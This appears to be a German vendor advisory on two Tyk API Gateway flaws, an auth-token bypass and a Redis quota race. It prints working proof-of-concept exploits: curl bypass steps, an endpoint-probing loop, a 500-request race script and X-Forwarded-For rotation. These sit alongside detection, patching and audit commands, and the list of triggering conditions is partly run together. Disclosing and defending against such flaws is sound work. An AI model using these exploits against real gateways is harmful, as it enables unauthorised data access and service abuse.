Zwei kritische Sicherheitslücken im Tyk API Gateway – eine Umgehung der Authentifizierungstoken-Validierung (CVE-2026-31872) und eine Schwachstelle zur Umgehung von Quoten-/Ratenbegrenzungen (CVE-2026-31873) – ermöglichen nicht authentifizierten Angreifern den Zugriff auf geschützte APIs und überfordern Backend-Dienste. Betroffen sind alle selbstgehosteten Tyk-Bereitstellungen mit den Versionen 5.0–5.3. Patches sind in Tyk 5.3.5 und 5.4.0 verfügbar.
Tyk API Gateway, eine beliebte Open-Source- und kommerzielle API-Verwaltungsplattform, die in Go geschrieben wurde, weist zwei kritische Schwachstellen auf, die sich auf die Authentifizierungs-Middleware und das Subsystem zur Ratenbegrenzung auswirken. Diese am 31. März 2026 veröffentlichten Mängel wirken sich auf die selbstgehosteten Tyk Gateway-Versionen 5.0.x bis 5.3.4 aus und sind auf logische Fehler in der benutzerdefinierten Middleware-Kettenbewertung von Tyk und der Redis-basierten Quotenverfolgung zurückzuführen.
Tyk Cloud (SaaS)-Bereitstellungen wurden am 30. März 2026 stillschweigend gepatcht. Organisationen, die selbst gehostetes Tyk betreiben – einschließlich solcher, die Tyk Operator auf Kubernetes nutzen – müssen manuell aktualisieren.
CVE-2026-31872 wurde am 1. April 2026 zum CISA-Katalog „Known Exploited Vulnerabilities“ hinzugefügt. Zivile Bundesbehörden müssen bis zum 22. April 2026 Patches durchführen. Alle Organisationen sollten dies als P0 behandeln. Der Exploit-Code ist ab dem 2. April 2026 auf GitHub öffentlich verfügbar.
CVE-2026-31872 ist ein kritischer Fehler in der Go-Plugin-Middleware-Kette-Bewertung von Tyk. Wenn eine API-Definition sowohl einen virtuellen Endpunkt als auch eine Authentifizierungstoken-Richtlinie gleichzeitig konfiguriert, wertet die Anforderungsverarbeitungspipeline von Tyk den virtuellen Endpunkt-Handler aus, bevor die Token-Validierung abgeschlossen wird. Wenn der virtuelle Endpunkt ein bestimmtes HTTP-Antwortmuster zurückgibt – insbesondere ein 200 OK mit einem leeren Textkörper – markiert die Authentifizierungs-Middleware die Anfrage als vorauthentifiziert und leitet sie an den Upstream weiter, ohne das bereitgestellte Bearer-Token zu überprüfen.
Der Fehler liegt in gateway/middleware/virtual_endpoint.go, wo die Methode Exec() unter bestimmten Antwortbedingungen einen gemeinsamen Kontextschlüssel ctx.PreAuthenticated = true festlegt. Dieses Flag wird dann von gateway/middleware/auth_key.gos ProcessRequest() gelesen, um die Token-Validierung kurzzuschließen – ein Design, das für interne Dienst-zu-Dienst-Aufrufe gedacht war, aber extern ausgelöst werden kann.
Nicht jede Tyk-Bereitstellung ist anfällig. Die Authentifizierungsumgehung kann nur ausgelöst werden, wenn alle drei der folgenden Bedingungen in einer API-Definition vorhanden sind:
auth_token oder jwt eingestelltTykJsResponse mit Code: 200 und einem leeren oder null Body zurückDas Folgende zeigt einen zweistufigen Exploit: Zuerst wird der virtuelle Endpunkt dazu veranlasst, das Pre-Auth-Flag zu vergiften, und dann wird sofort mit einem ungültigen Token auf einen geschützten Endpunkt zugegriffen:
# Step 1: Trigger the virtual endpoint with an empty-body 200 response # This poisons the PreAuthenticated flag in Tyk's shared request context curl -i -X POST https://api.example.com/v1/virtual-endpoint \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -H "Content-Type: application/json" \ -d '{}' # Expected response from Step 1 (virtual endpoint processes before auth): # HTTP/2 200 # (empty body — this triggers the vulnerability) # Step 2: Immediately access any protected endpoint on the SAME API definition # with ANY bearer token — validation is skipped due to PreAuthenticated flag curl -i https://api.example.com/v1/admin/users \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -H "X-Request-ID: $(uuidgen)" # Vulnerable response: # HTTP/2 200 # {"users": [...]} ← Full data returned without valid auth # Automated scanner to identify vulnerable Tyk endpoints for path in /v1/users /v1/admin /v1/data /api/internal; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer AAAA.BBBB.CCCC" \ "https://api.example.com${path}") echo "$path -> HTTP $STATUS" done
Das folgende API-Definitionsmuster in der JSON-Konfiguration von Tyk löst die Sicherheitslücke aus. Wenn Ihre Bereitstellung APIs enthält, die dieser Struktur entsprechen, sind Sie bis zum Patchen einem Risiko ausgesetzt:
// Vulnerable Tyk API definition (tyk-api-def.json) { "auth": { "auth_header_name": "Authorization", "use_param": false }, "use_keyless": false, "use_standard_auth": true, "extended_paths": { "virtual": [ { "response_function_name": "myVirtualFunc", "function_source_type": "inline", "path": "virtual-endpoint", "method": "POST", // If this function returns {Code:200, Body:""} → triggers bypass "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }" } ] } }
CVE-2026-31873 ist eine Race-Bedingung in Tyks Redis-basierter Kontingent- und Ratenbegrenzung-Implementierung. Wenn Tyk gleichzeitige Anforderungen von demselben API-Schlüssel verarbeitet, werden die Vorgänge zur Kontingentprüfung und Kontingentverringerung in zwei separaten, nicht atomaren Redis-Befehlen ausgeführt (GET gefolgt von DECR). Ein Angreifer, der Anfragen mit ausreichend hoher Parallelität sendet, kann denselben Kontingentwert vor der Dekrementierung über mehrere Goroutinen hinweg lesen und so deren zulässige Anfrageanzahl effektiv mit der Anzahl gleichzeitiger Verbindungen multiplizieren.
Dies ist eine klassische TOCTOU-Schwachstelle (Time-of-Check, Time-of-Use). Im Go-Code von Tyk (storage/storage.go, der GetRawKey + DecrementWithExpire-Pfad) gibt es keine Redis MULTI/EXEC-Transaktion oder WATCH-basierte optimistische Sperre um die Prüf-dann-Dekrementierungslogik, wodurch der Kontingentstatus bei gleichzeitiger Last als veraltet gelesen werden kann.
Das folgende Bash-Skript verwendet GNU Parallel, um 500 gleichzeitige Anforderungen an einen Tyk-geschützten Endpunkt auszulösen, der mit einem Kontingent von 50 Anforderungen/Minute konfiguriert ist. Bei einer anfälligen Instanz wird die Mehrheit trotz der Beschränkung erfolgreich sein:
#!/bin/bash # CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC # Fires 500 concurrent requests to exhaust quota without triggering limits TARGET="https://api.example.com/v1/search" API_KEY="tyk-valid-api-key-here" CONCURRENCY=500 echo "Launching $CONCURRENCY concurrent requests..." seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \ 'curl -s -o /dev/null -w "%{http_code}\n" \ -H "Authorization: '"$API_KEY"'" \ "'"$TARGET"'?q=test&page={}"' \ | sort | uniq -c # Expected on patched system: # 449 429 (rate limited) # 51 200 (within quota) # Expected on vulnerable system: # 498 200 (bypass successful — almost all requests pass) # 2 429 (only slowest requests get rate-limited)
Bei Tyk-Bereitstellungen, bei denen enable_ip_whitelisting „false“ ist und das Gateway X-Forwarded-For vertraut, kann der Ratenbegrenzungsschlüssel auch fragmentiert werden, indem der Quell-IP-Header rotiert wird. Dies verschärft sich mit dem TOCTOU-Wettbewerb um eine nahezu vollständige Quotenumgehung:
# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
curl -s -o /dev/null \
-H "Authorization: tyk-valid-api-key-here" \
-H "X-Forwarded-For: $FAKE_IP" \
"https://api.example.com/v1/data" &
(( i % 100 == 0 )) && wait
done
wait
Tyk protokolliert Authentifizierungsentscheidungen in strukturiertem JSON. Die folgenden Befehle identifizieren Anforderungen, die die Token-Validierung umgangen haben (authentifiziert ohne gültigen Schlüssel) und Anomalien bei der Kontingentausschöpfung:
# Find requests where auth succeeded but no API key was validated # These appear as requests with empty or placeholder auth_id fields cat /var/log/tyk/tyk.log \ | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \ | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}' # Detect quota bypass: requests that succeeded after quota should be exhausted # Look for API keys with >N successful requests in the last minute cat /var/log/tyk/tyk.log \ | jq -r 'select(.code == 200) | .auth_id' \ | sort | uniq -c | sort -rn \ | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }' # Check Tyk version via the gateway HTTP API curl -s http://localhost:8080/hello | jq '.version'
Inspizieren Sie Redis direkt, um zu überprüfen, ob die Ratenbegrenzungszähler korrekt erhöht werden:
# Connect to your Tyk Redis instance and inspect quota keys redis-cli -h your-redis-host -p 6379 -a yourpassword # List all rate limit keys for a specific API key KEYS "quota-*your-api-key-prefix*" # Check a specific quota key's current value and TTL GET "quota-your-api-key-hash" TTL "quota-your-api-key-hash" # If the value is higher than your configured quota, exploitation may have occurred # Example: if quota is 100/min but counter shows 450, investigate immediately
Die endgültige Lösung ist ein Upgrade auf Tyk Gateway 5.3.5 oder 5.4.0. Beide Versionen umfassen eine atomare Redis-Pipeline für Kontingentoperationen und eine Neufassung der Vorauthentifizierungs-Flag-Behandlung des virtuellen Endpunkts.
# Docker — upgrade to patched image docker pull tykio/tyk-gateway:v5.3.5 docker stop tyk-gateway && docker rm tyk-gateway docker run -d --name tyk-gateway \ -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \ -v $(pwd)/apps:/opt/tyk-gateway/apps \ -p 8080:8080 \ tykio/tyk-gateway:v5.3.5 # Kubernetes via Helm — update Tyk Operator helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/ helm repo update helm upgrade tyk-gateway tyk-helm/tyk-gateway \ --namespace tyk \ --set gateway.image.tag=v5.3.5 \ --reuse-values # Binary upgrade on Linux curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \ -o tyk-v5.3.5.tar.gz tar -xzf tyk-v5.3.5.tar.gz sudo systemctl stop tyk-gateway sudo cp tyk /opt/tyk-gateway/tyk sudo systemctl start tyk-gateway # Verify version after upgrade curl -s http://localhost:8080/hello | jq '.version' # Expected: "v5.3.5" or "v5.4.0"
Wenn ein sofortiges Upgrade nicht möglich ist, deaktivieren Sie virtuelle Endpunkte für jede API-Definition, die Token-Authentifizierung verwendet. Bearbeiten Sie die API-Definition JSON und setzen Sie die Liste der virtuellen Pfade auf leer:
// In your Tyk API definition file — remove or empty the virtual endpoints list { "extended_paths": { "virtual": [] // ← Set to empty array to disable virtual endpoints } } # Apply via Tyk Dashboard API curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \ -H "authorization: your-dashboard-user-key" \ -H "Content-Type: application/json" \ -d @patched-api-def.json # Or reload via hot-reload if using file-based config kill -SIGHUP $(pgrep tyk)
Aktivieren Sie bis zum Upgrade die experimentelle Option enable_redis_rolling_limiter von Tyk, die eine atomare Pipeline mit Lua-Skript in Redis verwendet und nicht anfällig für das TOCTOU-Rennen ist:
// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+) { "enable_redis_rolling_limiter": true, "enable_sentinel_rate_limiter": false, "drl_notification_payload_size": 0, // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass "allowed_ips": ["10.0.1.10", "10.0.1.11"], "enable_ip_whitelisting": true }
# Test 1: Verify auth bypass is fixed — should return 401 curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \ -H "Authorization: Bearer INVALID_TOKEN_AAAA" \ -d '{}' # Expected on patched system: HTTP/2 401 Unauthorized # Test 2: Verify rate limiting enforces correctly for i in $(seq 1 60); do CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer your-valid-key" \ "https://your-gateway.example.com/v1/test") echo "Request $i: HTTP $CODE" done # After your quota limit, you should consistently see 429 Too Many Requests
max_conn_time und Verbindungsratenbegrenzungen in Ihrem Reverse-Proxy (nginx/Envoy) vor Tyk, um die für die Ausnutzung verfügbare Parallelität zu begrenzen.use_standard_auth: true und einem nicht leeren virtual-Array aus.# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
-H "authorization: your-dashboard-key" \
| jq -r '.apis[] | select(
.api_definition.use_standard_auth == true and
(.api_definition.extended_paths.virtual | length > 0)
) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'
KI-gestütztes Schwachstellenmanagement mit mehr als 331.910 indizierten CVEs. Überwachen Sie Tyk, Kong und andere API-Gateways kontinuierlich auf kritische Sicherheitslücken, bevor Angreifer sie ausnutzen.
Kostenlose Testversion startenBleiben Sie sicher. Bleiben Sie wachsam.
🗡️ KENSAI-Sicherheitsteam
🛡️ Ist Ihr Tyk-Gateway sicher?
Entdecken Sie Schwachstellen und Fehlkonfigurationen bei der Authentifizierungsumgehung, bevor es Angreifer tun.
Scannen Sie Ihr API-Gateway kostenlos →